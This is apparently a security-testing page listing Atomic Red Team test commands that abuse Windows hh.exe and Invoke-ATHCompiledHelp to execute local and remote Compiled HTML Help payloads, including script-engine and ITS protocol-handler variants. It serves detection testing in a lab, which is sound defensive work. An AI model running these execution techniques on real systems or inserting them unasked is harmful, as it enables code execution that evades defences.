Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptwindowsCompiled HTML Help Local Payload
Uses hh.exe to execute a local compiled HTML Help payload.
Upon execution calc.exe will open
hh.exe "#{local_chm_file}"
command_promptwindowsCompiled HTML Help Remote Payload
Uses hh.exe to execute a remote compiled HTML Help payload.
Upon execution displays an error saying the file cannot be open
hh.exe #{remote_chm_file}
powershellwindowsInvoke CHM with default Shortcut Command Execution
Executes a CHM file with the default Shortcut Command method.
Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
powershellwindowsInvoke CHM with InfoTech Storage Protocol Handler
Executes a CHM file with the ITS protocol handler.
Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
powershellwindowsInvoke CHM Simulate Double click
Executes a CHM file simulating a user double click.
Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}
powershellwindowsInvoke CHM with Script Engine and Help Topic
Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.
Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
powershellwindowsInvoke CHM Shortcut Command with ITS and Help Topic
Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.
Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
command_promptwindowsDecompile Local CHM File
Uses hh.exe to decompile a local compiled HTML Help file.
Upon successful execution the chm file will decompile to disk.
Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
hh.exe -decompile %temp% "#{local_chm_file}"